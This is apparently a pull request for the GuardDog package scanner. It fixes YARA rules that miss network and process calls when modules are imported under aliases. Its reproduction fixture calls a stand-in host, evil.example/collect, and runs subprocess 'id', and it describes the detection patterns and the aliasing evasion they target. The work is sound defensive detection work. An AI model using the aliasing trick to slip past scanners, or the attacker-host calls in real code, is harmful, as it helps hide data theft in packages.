[talalkashar]

Fixes #913

What was wrong

capability-network-outbound, capability-network-download and capability-process-spawn match the literal module.attribute text (requests.get, urllib.request.urlopen, subprocess.run). Once the module is imported under an alias, the call site reads _r.get(...) and none of the three rules fire.

Reproduction

Scanning a directory with only this file on main gives no findings:

import requests as _r
import subprocess as _sp
import urllib.request as _u

_r.get("https://evil.example/collect")
_sp.run(["id"], shell=False)
_u.urlopen("https://evil.example/x")

guarddog pypi scan ./adv --output-format json

What changed

YARA can't tie an alias back to its call site, so these strings match the aliased import itself. That follows how threat-setup-import-aliasing keys on from X import f as Y, and how the JS strings in capability-process-spawn key on the child_process require and on destructured imports.

• outbound: import requests as, import urllib.request as, and from requests|urllib.request import <fn> as
• download: the same imports, with the from form limited to get, urlopen and urlretrieve
• process-spawn: import subprocess as, from subprocess import <fn> as

A plain import requests with no call still does not match, and import requests_toolbelt as x doesn't match either (the pattern needs whitespace after the module name). With this change, the file above gets one finding from each of the three rules.

Testing

• Added *.import-alias.py positive fixtures for each rule. They fail on main and pass with this change.
• pytest tests/analyzer/sourcecode: 136 passed
• pytest tests/core tests/reporters: 242 passed, 2 skipped
• make lint (first flake8 pass): 0 errors